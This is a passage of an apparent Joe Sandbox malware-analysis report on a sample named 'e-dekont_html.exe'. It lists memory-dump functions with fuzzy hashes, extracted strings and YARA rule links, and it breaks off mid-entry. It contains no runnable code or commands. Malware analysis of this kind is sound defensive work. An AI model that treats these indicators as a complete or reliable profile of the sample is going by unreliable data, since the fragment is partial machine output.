Instruction ID: 9f4213ab98280212a776c1b567c79feb2caad5070a7576b39b2a641c242565e7
Opcode Fuzzy Hash: a3f4e36c29ccec8403343a590308f06992f3a792645dc5ad244e39f37ebe5eb5
Instruction Fuzzy Hash: 4BE1FBB5E041198FCB14DFA9C5809AEFBB2FF89305F248159D815AB395DB30AD82CF60

Function 08F0F360 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6214f42d5d1efa4ca0cbdeed74d987c477ea6fd172f52c92b9be3ab83457a578
Instruction ID: baeb11805c6d05ad304fbc87151ea237337d07cc40aae6fd3765b6d327cb3605
Opcode Fuzzy Hash: 6214f42d5d1efa4ca0cbdeed74d987c477ea6fd172f52c92b9be3ab83457a578
Instruction Fuzzy Hash: 9DE1EAB4E041198FCB14DFA9C5909AEFBB2FF49305F248169D815AB395DB30AD82CF61

Function 076B0740 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f8f9c66a9d4e941df600e241b155eabfdd934990b0c4cbed7ad0dee1737ecb1
Instruction ID: 81caad0daceae9b52b313fb9a241b13a3030152200b86bce4ca6700656b73c6d
Opcode Fuzzy Hash: 8f8f9c66a9d4e941df600e241b155eabfdd934990b0c4cbed7ad0dee1737ecb1
Instruction Fuzzy Hash: 38E1E9B4E001198FDB14DFA9C590AAEBBB2FF49304F248569D415AB355D731AD82CF60

Function 08F06673 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efc106942c70482f921a9b0c3aa7d35414cfca0ac01d7072680ea6186ceb86d5
Instruction ID: 9d40fc9f752cab8ba69ca3f6a46d5c863aded24cdb75965e428feb99f9ab253f
Opcode Fuzzy Hash: efc106942c70482f921a9b0c3aa7d35414cfca0ac01d7072680ea6186ceb86d5
Instruction Fuzzy Hash: E0D1D535D2076A8ACB14EFA4D9906E9B7B1FFD5300F50979AE04977224EF706AC4CB81

Function 012BD57C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 606d8cdd4ae1ba2134d80bc0a52053fe5e5b093ab477300ece2609a4d8205590
Instruction ID: 1c7f53728308a897a8c4c5afa3ea3917e47c5f8b2ca0437a9e32f2f25b975e73
Opcode Fuzzy Hash: 606d8cdd4ae1ba2134d80bc0a52053fe5e5b093ab477300ece2609a4d8205590
Instruction Fuzzy Hash: 45A17132E202168FCF05DFB4CD805EEBBB2FF85340B15856AE905AB261DB71E955CB40

Function 08F06678 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5fc1cba21999f3932bdf0a3aef1da68f098cd1d9d1a3244d90035f8ed1e2de
Instruction ID: 27005afebf90ed7a56871514795e03e401dc47f6bed222168272dfe4bc09164c
Opcode Fuzzy Hash: 0a5fc1cba21999f3932bdf0a3aef1da68f098cd1d9d1a3244d90035f8ed1e2de
Instruction Fuzzy Hash: 38D1D535D2076A8ACB14EBA4D9906E9B7B1FFD5300F50979AE04977224EF706AC4CB81

Function 08F034A8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b34007a8969610b00f94aed0bbdd5ef258773b356dc9d475ea210c3beea38e3
Instruction ID: 0cff5dc094ebb66ac6e886afab483f0fd4c542ba7689261b75ea8f921fd78926
Opcode Fuzzy Hash: 5b34007a8969610b00f94aed0bbdd5ef258773b356dc9d475ea210c3beea38e3
Instruction Fuzzy Hash: B04197B5E016188FEB68CF6BC94079AFAF3AFC9201F14C1A9D408AB354EB3059859F51

Analysis Process: e-dekont_html.exePID: 7308, Parent PID: 3756COMMON

Executed Functions

Function 02BEC147 Relevance: 6.5, Strings: 5, Instructions: 226COMMON

Download Yara Rule

Strings

Ljmp, xrefs: 02BEC38D
PHfq, xrefs: 02BEC400
0omp, xrefs: 02BEC20A
Ljmp, xrefs: 02BEC377
PHfq, xrefs: 02BEC3EF

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: a96f31d7a5bcef4be39c45d4f241a295a469bf1c90a74f52867f6e0218eca9ca
Instruction ID: d4532a422362235e68fba069574224b46c402ff81902c85dbad74288f6743d62
Opcode Fuzzy Hash: a96f31d7a5bcef4be39c45d4f241a295a469bf1c90a74f52867f6e0218eca9ca
Instruction Fuzzy Hash: EFA1B575E00218DFDB14DFA9D884A9DBBB2FF89310F1480AAE409AB365DB319981CF55

Function 02BE5362 Relevance: 6.4, Strings: 5, Instructions: 192COMMON

Download Yara Rule

Strings

Ljmp, xrefs: 02BE5566
PHfq, xrefs: 02BE55C8
Ljmp, xrefs: 02BE5550
0omp, xrefs: 02BE53E2
PHfq, xrefs: 02BE55D9

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: ed9bd72674e4eaa26c26961f53dcd8b92ce928f8fa29c68dda5f63f88a12201f
Instruction ID: 6c399a0a069fc647f9bdc1fa28645b2811d024cf3fc5c0f6e7030e970a42bf8c
Opcode Fuzzy Hash: ed9bd72674e4eaa26c26961f53dcd8b92ce928f8fa29c68dda5f63f88a12201f
Instruction Fuzzy Hash: 0791B374E00218DFDB14DFA9D994A9DBBF2BF89304F1580A9E809AB365DB309985CF50

Function 02BECA08 Relevance: 6.4, Strings: 5, Instructions: 187COMMON

Download Yara Rule

Strings

PHfq, xrefs: 02BECC5F
PHfq, xrefs: 02BECC70
0omp, xrefs: 02BECA7A
Ljmp, xrefs: 02BECBFD
Ljmp, xrefs: 02BECBE7

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 52d5544e1aa438a13672cb51116bf6bc6c56078a8fc526dc1a0c456dfcddc460
Instruction ID: ac435fe4470be30c6e165f987b8d8c41f0ff81aa2dd5c9094533b5371d3b05ad
Opcode Fuzzy Hash: 52d5544e1aa438a13672cb51116bf6bc6c56078a8fc526dc1a0c456dfcddc460
Instruction Fuzzy Hash: 17819574E01218DFDB54DFA9D994A9DBBF2BF88300F1490AAE419AB365DB309981CF50

Function 02BECFAA Relevance: 6.4, Strings: 5, Instructions: 186COMMON

Download Yara Rule

Strings

0omp, xrefs: 02BED01A
PHfq, xrefs: 02BED210
PHfq, xrefs: 02BED1FF
Ljmp, xrefs: 02BED19D
Ljmp, xrefs: 02BED187

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 8207d6b3ee377afe12aa891935e60f3ea849ffe4dfb01a5adf92edca37e6d6c1
Instruction ID: 53d33ffca7f0b5dcc1af5c81e72d038b9134aeefb057695d37ecd6d37081177a
Opcode Fuzzy Hash: 8207d6b3ee377afe12aa891935e60f3ea849ffe4dfb01a5adf92edca37e6d6c1
Instruction Fuzzy Hash: 5681A274E00218DFDF14DFAAD984A9DBBF2BF89310F1480A9E409AB365DB709981CF51

Function 02BECCD8 Relevance: 6.4, Strings: 5, Instructions: 186COMMON

Download Yara Rule

Strings

PHfq, xrefs: 02BECF2F
Ljmp, xrefs: 02BECEB7
PHfq, xrefs: 02BECF40
Ljmp, xrefs: 02BECECD
0omp, xrefs: 02BECD4A

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 553e9cc42f6ea59341863b318b9b308fbd481e195755badae0277a1de717f0da
Instruction ID: db80aac3f7b838c158830672a85a680772429b6873ebb9c8b5901509b069e152
Opcode Fuzzy Hash: 553e9cc42f6ea59341863b318b9b308fbd481e195755badae0277a1de717f0da
Instruction Fuzzy Hash: F9819374E00218DFDB14DFA9D984A9DBBF2BF89300F14D0AAE419AB355DB30A985CF51

Function 02BED278 Relevance: 6.4, Strings: 5, Instructions: 184COMMON

Download Yara Rule

Strings

Ljmp, xrefs: 02BED457
PHfq, xrefs: 02BED4E0
0omp, xrefs: 02BED2EA
Ljmp, xrefs: 02BED46D
PHfq, xrefs: 02BED4CF

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 0e1d152b8784409c87864b2e63350e2b33c65ae8df630c6e894d774b5c632799
Instruction ID: 89a52101ab946d90c579fc1915b987963a2184ed9e0be45fd553e9841128d74c
Opcode Fuzzy Hash: 0e1d152b8784409c87864b2e63350e2b33c65ae8df630c6e894d774b5c632799
Instruction Fuzzy Hash: 6A819474E00219CFDB18DFA9D984A9DBBF2BF89300F14D0A9E419AB365DB709981CF50

Function 02BEC468 Relevance: 6.4, Strings: 5, Instructions: 184COMMON

Download Yara Rule

Strings

PHfq, xrefs: 02BEC6BF
Ljmp, xrefs: 02BEC647
Ljmp, xrefs: 02BEC65D
0omp, xrefs: 02BEC4DA
PHfq, xrefs: 02BEC6D0

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: f8262f2c5d56b5ee7c58b4330535565aa9d4b4191a971c78be67e4bf124601b9
Instruction ID: 8d5b45edf354c6f224aed2bd6e84dd73e84ad3153e08e45a8ee0b8b859f667b7
Opcode Fuzzy Hash: f8262f2c5d56b5ee7c58b4330535565aa9d4b4191a971c78be67e4bf124601b9
Instruction Fuzzy Hash: 5B8195B5E00218DFDB14DFA9D984A9EBBF2FF89310F1490AAE419AB355DB309941CF50

Function 02BEC738 Relevance: 6.4, Strings: 5, Instructions: 180COMMON

Download Yara Rule

Strings

Ljmp, xrefs: 02BEC917
PHfq, xrefs: 02BEC98F
0omp, xrefs: 02BEC7AA
Ljmp, xrefs: 02BEC92D
PHfq, xrefs: 02BEC9A0

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: dc935311010fbaab3767859429d5cb5a6ccc20ef468599c6686f15678982934a
Instruction ID: 27d87ae74820eba1b2b3796f3b53013bc7c1655f1b0cc8378041b46575b222bb
Opcode Fuzzy Hash: dc935311010fbaab3767859429d5cb5a6ccc20ef468599c6686f15678982934a
Instruction Fuzzy Hash: E0819474E00218DFDB54DFAAD984A9DBBF2BF88310F14D0AAE459AB355DB309981CF50

Function 02BE9DE0 Relevance: 6.1, Strings: 4, Instructions: 1128COMMON

Download Yara Rule

Strings

(ofq, xrefs: 02BEA518
4'fq, xrefs: 02BEAB13
4'fq, xrefs: 02BE9E04
4'fq, xrefs: 02BE9F0C

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq$4'fq$4'fq$4'fq
API String ID: 0-1260671024
Opcode ID: c87e83d65bbc2e579dc941cbf9c5fcd1cea07171084e3b7be480ae4d4289b4e4
Instruction ID: 35f486a1cdce6f08632d19d3902a013e58ff5e22ec5f2d3b11242f6d52fee641
Opcode Fuzzy Hash: c87e83d65bbc2e579dc941cbf9c5fcd1cea07171084e3b7be480ae4d4289b4e4
Instruction Fuzzy Hash: EDA28E71A002099FCF15CF68C984AAEBBB6FF88304F1585A9E4169B365D730ED85CB91

Function 02BE7118 Relevance: 5.3, Strings: 4, Instructions: 349COMMON

Download Yara Rule

Strings

,jq, xrefs: 02BE7298
(ofq, xrefs: 02BE7220
(ofq, xrefs: 02BE7212
,jq, xrefs: 02BE728A

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$,jq$,jq
API String ID: 0-1018418033
Opcode ID: c6ae7dd71a6c190fac0f1f0e4ec1708b6235e68be1a20b6cbd1a2b3776321555
Instruction ID: bf3e440c2d29d9e79cf6f890c0c38d988874b9f96d30c29915ed0eb4fa94f21b
Opcode Fuzzy Hash: c6ae7dd71a6c190fac0f1f0e4ec1708b6235e68be1a20b6cbd1a2b3776321555
Instruction Fuzzy Hash: FBE12B70A00119DFCF15CFA9D984AADFBF2FF49304F5981A5E806AB265DB30E841DB50

Function 02BE69A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(ofq, xrefs: 02BE6EDA
Hjq, xrefs: 02BE6DA6

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq$Hjq
API String ID: 0-2051923243
Opcode ID: 35f485c4d5a3aa471a04ac523a69bbe7ff93e984cd14ad4424cbba9ebd9e8f00
Instruction ID: 1c9680421d83e50e765235910acb9a33dc06816a85131d63f90bfe52c79faaa5
Opcode Fuzzy Hash: 35f485c4d5a3aa471a04ac523a69bbe7ff93e984cd14ad4424cbba9ebd9e8f00
Instruction Fuzzy Hash: 5D126B70A002199FDB14DFA9C854BAEBBF6FF98304F2085A9E5069B395DF309D45CB90

Function 02BEE97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644e969b1883adf43f3f50d585e76b8d5080263bfc922b7094ae86a624462dc1
Instruction ID: 8604d11276e117fb7e75a77a59aa6e4f80baf038dfe61648d03548f8dc0fea26
Opcode Fuzzy Hash: 644e969b1883adf43f3f50d585e76b8d5080263bfc922b7094ae86a624462dc1
Instruction Fuzzy Hash: E9519475E00208DFDB18DFBAD494A9DBBB2FF89310F24906AE915AB364DB305941CF14

Function 02BEE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b8a7aad2b4ebd23c9d5e8c98ab9cd4c561642b7fc38bc0f43b9414f59a057b1
Instruction ID: 29cfb718deae8b510f22a209be0b7cb08912e31ad698fff292c77859a0f75ff5
Opcode Fuzzy Hash: 3b8a7aad2b4ebd23c9d5e8c98ab9cd4c561642b7fc38bc0f43b9414f59a057b1
Instruction Fuzzy Hash: AA519374E00208DFDB18DFBAD584A9DBBB2FF89310F24916AE915AB364DB309941CF14

Function 02BE76F1 Relevance: 10.5, Strings: 8, Instructions: 474COMMON

Download Yara Rule

Strings

(ofq, xrefs: 02BE7C0F
(ofq, xrefs: 02BE78B2
(ofq, xrefs: 02BE77E9
(ofq, xrefs: 02BE772E
(ofq, xrefs: 02BE7BFF
,jq, xrefs: 02BE7B90
(ofq, xrefs: 02BE7815
,jq, xrefs: 02BE7BA0

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$(ofq$(ofq$(ofq$(ofq$,jq$,jq
API String ID: 0-3756152659
Opcode ID: 170eb8476239c3a52033ce0dd0b3fd498b57f78293fe121d551e4e7795411513
Instruction ID: 319401f9ccb7b2ebfbbc338e05d6056b6deea4f8fff320950f9441830c84091a
Opcode Fuzzy Hash: 170eb8476239c3a52033ce0dd0b3fd498b57f78293fe121d551e4e7795411513
Instruction Fuzzy Hash: 5C123830A002099FCF14DF69D994AAEBBF2FF48314F148599E41ADB2A1DB30ED41DB90

Function 02BE5F38 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

Hjq, xrefs: 02BE6056
Hjq, xrefs: 02BE6023

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Hjq$Hjq
API String ID: 0-2395847853
Opcode ID: 1f2256973d65991783cdd12c732bf51f042e3d7ba800b719693f9fde7496de51
Instruction ID: b406694420f0b07b2ffcf97d967db7918e04997f72fb2a450d5b0dc9cf7749b0
Opcode Fuzzy Hash: 1f2256973d65991783cdd12c732bf51f042e3d7ba800b719693f9fde7496de51
Instruction Fuzzy Hash: 7F91AD317042558FDF16AF34C894B6E7BA6FF98304F0489A9E5068B392CB349C45C792

Function 02BE6498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,jq, xrefs: 02BE6578
,jq, xrefs: 02BE656E

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: ,jq$,jq
API String ID: 0-3554820393
Opcode ID: 52024c5b7b5e5250d85fcba9557d8874ba8e5b2c77b1d6e20af69860e912b0a7
Instruction ID: 0931e19477d12db2afab8cad2368d93b26884e298d52ba352530bb205bdb7a7b
Opcode Fuzzy Hash: 52024c5b7b5e5250d85fcba9557d8874ba8e5b2c77b1d6e20af69860e912b0a7
Instruction Fuzzy Hash: C8819CB0B10505CFCF14CF69C888AAABBFAFF99214B1581A9D506D73A5DB31EC41CB90

Function 02BE3CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xjq, xrefs: 02BE3CCD
Xjq, xrefs: 02BE3CF6

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Xjq$Xjq
API String ID: 0-958142700
Opcode ID: be36d8bd15c09f4508d2f9b4fdb7f26c7714bc4db764a10d5c6a58f33bb05fe5
Instruction ID: 18d9b99c4f4c49fdbebdd0c39bc4a115e0e3ab650e685834a8ca03265bca2bc1
Opcode Fuzzy Hash: be36d8bd15c09f4508d2f9b4fdb7f26c7714bc4db764a10d5c6a58f33bb05fe5
Instruction Fuzzy Hash: BB31D335B003298BDF284A6A989437E66E6EBC4310F1484FEE817C3380DFB5CC4596A1

Function 02BE8EF8 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

$fq, xrefs: 02BE8FB4
$fq, xrefs: 02BE8FD7

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: 3830bf04ded6403c887b2a4643cf4caab6a01e3654706c09950c752b595aadd7
Instruction ID: 947e128a7b1a5b3b98aab5fd6d87abb83b3983acd9847d535846e014db76b035
Opcode Fuzzy Hash: 3830bf04ded6403c887b2a4643cf4caab6a01e3654706c09950c752b595aadd7
Instruction Fuzzy Hash: 333161703049518FCF259B69D89463E7B67FB85610B155DEAE013CB2A2DB24DC40C7D6

Function 02BE9D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'fq, xrefs: 02BE9D84
4'fq, xrefs: 02BE9D6D

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq
API String ID: 0-751858264
Opcode ID: d6d9b2783ef13cbbf3c041b83b58b343802b4213279ebde5ee040fa336bc0335
Instruction ID: 50902acc11e509fc82f1c2c1c8b0e514d43d9d6bd6e941b0ae2293db97d69703
Opcode Fuzzy Hash: d6d9b2783ef13cbbf3c041b83b58b343802b4213279ebde5ee040fa336bc0335
Instruction Fuzzy Hash: EEF0A4753001142FDF081AA5985497FBA9BEBC8360B048569BA0AC7390DF71CC0597A1

Function 02BE0C8F Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LRfq, xrefs: 02BE0F19

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: LRfq
API String ID: 0-2333822924
Opcode ID: 6f75889ce4e39537fc5617b4cf50fce76a0bc8c27f1d44231e119d15accab45d
Instruction ID: 5172ce536596e1b6b9dafd990610b857cde1a9b93fc26cc5113b869a7761b764
Opcode Fuzzy Hash: 6f75889ce4e39537fc5617b4cf50fce76a0bc8c27f1d44231e119d15accab45d
Instruction Fuzzy Hash: E852BD79D01219DFCB54EF64E998B9DBBB2FB48301F104A9AD409A7358DB306E85CF90

Function 02BE0CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LRfq, xrefs: 02BE0F19

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: LRfq
API String ID: 0-2333822924
Opcode ID: f9430967b2fd3571dc6dca50dadea622264afce1325475d2cedd7674a4378265
Instruction ID: aab25c5e50d0c4426b3c930f85739363ecfe228c65d7d4f946a1fb601031ca6a
Opcode Fuzzy Hash: f9430967b2fd3571dc6dca50dadea622264afce1325475d2cedd7674a4378265
Instruction Fuzzy Hash: 3352AD79D01219DFCB54EF64E994B9DBBB2FB48301F104A9AD409A7358DB306E85CF90

Function 02BEAEBA Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

(ofq, xrefs: 02BEB079

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq
API String ID: 0-334256475
Opcode ID: dc41e99dbf9b8de63723313daa0e4251a548f7b1d2085e156317b5e44d99b6d8
Instruction ID: c079dd6c5bc8fd9bffe7035595a99a0bb95f4b359c3d5738bda8fae1892e929a
Opcode Fuzzy Hash: dc41e99dbf9b8de63723313daa0e4251a548f7b1d2085e156317b5e44d99b6d8
Instruction Fuzzy Hash: 1B41AF71B002049FCB05AB68D854BAE7BB6FF88315B1449A9E516CB291DF31EC06CB91

Function 02BEE007 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 980321bb9ac6f1464647e86af388b13088050d234bc4f72c0ab17453807661bb
Instruction ID: c60ca7257ab9bf653f1250028b56f7633ca38e6eab3637f223087fc9ce3a4ba0
Opcode Fuzzy Hash: 980321bb9ac6f1464647e86af388b13088050d234bc4f72c0ab17453807661bb
Instruction Fuzzy Hash: 8012A9368A12468FE3502F71E6EC26E7F64FF1F367B04AE98E11B848459B31046CCB65

Function 02BEE018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eff2dc61da6882d5f2fe842bc87fa9133adf3eefa475b333998d332e7c4e75b
Instruction ID: 289245c170c7863e90f5d82422ad4b7742fccfd54d9d0c90fbe16248e87846e0
Opcode Fuzzy Hash: 0eff2dc61da6882d5f2fe842bc87fa9133adf3eefa475b333998d332e7c4e75b
Instruction Fuzzy Hash: 1512A8368A12468FE3502F71E6EC26EBF64FB1F367B04AE94E11B848459B31046CCB65

Function 02BE9A10 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2be0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5065e4d7f03fff1f5013168b4d182ba81661429a75228ba4d38542dc2f40d15
Instruction ID: 10e45c3b6dcc5c3114dad6152dc98eb7fc58c8c38d1efdeb07ad495bb2f69139
Opcode Fuzzy Hash: d5065e4d7f03fff1f5013168b4d182ba81661429a75228ba4d38542dc2f40d15
Instruction Fuzzy Hash: 3A913631900A058FCB11CF7CC8845AABBB6FF85324B15C6A6D86A97355C331F95ACBA0

Function 02BE80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4160774291.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

